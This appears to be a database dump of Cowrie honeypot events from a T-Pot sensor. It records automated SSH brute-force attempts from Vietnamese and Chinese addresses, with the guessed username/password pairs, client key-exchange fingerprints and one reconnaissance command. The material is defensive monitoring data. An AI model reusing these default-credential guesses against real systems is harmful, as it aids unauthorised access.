21585	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.169355+03	2021-09-20 14:15:03.848614+03	{"_id": "6QXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/eclipse] failed", "session": "8a93ac589f64", "@version": "1", "password": "eclipse", "username": "root", "timestamp": "2021-09-20T11:06:33.169355Z", "@timestamp": "2021-09-20T11:06:33.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21586	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.17916+03	2021-09-20 14:15:03.849613+03	{"_id": "6gXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a4b02130aa8b", "@version": "1", "timestamp": "2021-09-20T11:06:33.179160Z", "@timestamp": "2021-09-20T11:06:33.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21587	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.201997+03	2021-09-20 14:15:03.850612+03	{"_id": "6wXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5b61f7f46fd6", "@version": "1", "duration": 2.212818145751953, "timestamp": "2021-09-20T11:06:33.201997Z", "@timestamp": "2021-09-20T11:06:33.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21588	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:33.256592+03	2021-09-20 14:15:03.852613+03	{"_id": "7AXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5ea87880955a", "@version": "1", "timestamp": "2021-09-20T11:06:33.256592Z", "@timestamp": "2021-09-20T11:06:33.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21589	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:33.300208+03	2021-09-20 14:15:03.853613+03	{"_id": "7QXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "223.241.247.214", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.570237398147583, "duplicate": true, "timestamp": "2021-09-20T11:06:33.300208Z", "@timestamp": "2021-09-20T11:06:33.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21590	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.304941+03	2021-09-20 14:15:03.854612+03	{"_id": "7gXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "12375781cb9c", "@version": "1", "timestamp": "2021-09-20T11:06:33.304941Z", "@timestamp": "2021-09-20T11:06:33.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21591	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:06:33.462882+03	2021-09-20 14:15:03.855613+03	{"_id": "7wXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz.root] failed", "session": "eda904d05d15", "@version": "1", "password": "1qaz.root", "username": "root", "timestamp": "2021-09-20T11:06:33.462882Z", "@timestamp": "2021-09-20T11:06:33.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21592	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.56405+03	2021-09-20 14:15:03.856625+03	{"_id": "8AXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [contec/contec] failed", "session": "f63db593bb98", "@version": "1", "password": "contec", "username": "contec", "timestamp": "2021-09-20T11:06:33.564050Z", "@timestamp": "2021-09-20T11:06:33.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21593	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:33.689075+03	2021-09-20 14:15:03.858614+03	{"_id": "8QXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:33.689075Z", "@timestamp": "2021-09-20T11:06:33.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21594	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:33.689626+03	2021-09-20 14:15:03.859613+03	{"_id": "8gXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:33.689626Z", "@timestamp": "2021-09-20T11:06:33.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21595	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.696886+03	2021-09-20 14:15:03.860613+03	{"_id": "8wXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/password1] failed", "session": "451e62234b8a", "@version": "1", "password": "password1", "username": "root", "timestamp": "2021-09-20T11:06:33.696886Z", "@timestamp": "2021-09-20T11:06:33.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21596	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:33.866961+03	2021-09-20 14:15:03.861613+03	{"_id": "9AXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [amy/amy] failed", "session": "0a4b00568a57", "@version": "1", "password": "amy", "username": "amy", "timestamp": "2021-09-20T11:06:33.866961Z", "@timestamp": "2021-09-20T11:06:33.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21597	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:33.923312+03	2021-09-20 14:15:03.862613+03	{"_id": "9QXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ftptest/ftptest] failed", "session": "80fa559a3d79", "@version": "1", "password": "ftptest", "username": "ftptest", "timestamp": "2021-09-20T11:06:33.923312Z", "@timestamp": "2021-09-20T11:06:33.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21598	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:33.993355+03	2021-09-20 14:15:03.864612+03	{"_id": "9gXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [shutdown/shutdown] failed", "session": "21a203a507ae", "@version": "1", "password": "shutdown", "username": "shutdown", "timestamp": "2021-09-20T11:06:33.993355Z", "@timestamp": "2021-09-20T11:06:33.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21599	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.998568+03	2021-09-20 14:15:03.865613+03	{"_id": "9wXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "c69d5bec2a1b", "@version": "1", "duration": 3.606637954711914, "timestamp": "2021-09-20T11:06:33.998568Z", "@timestamp": "2021-09-20T11:06:33.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
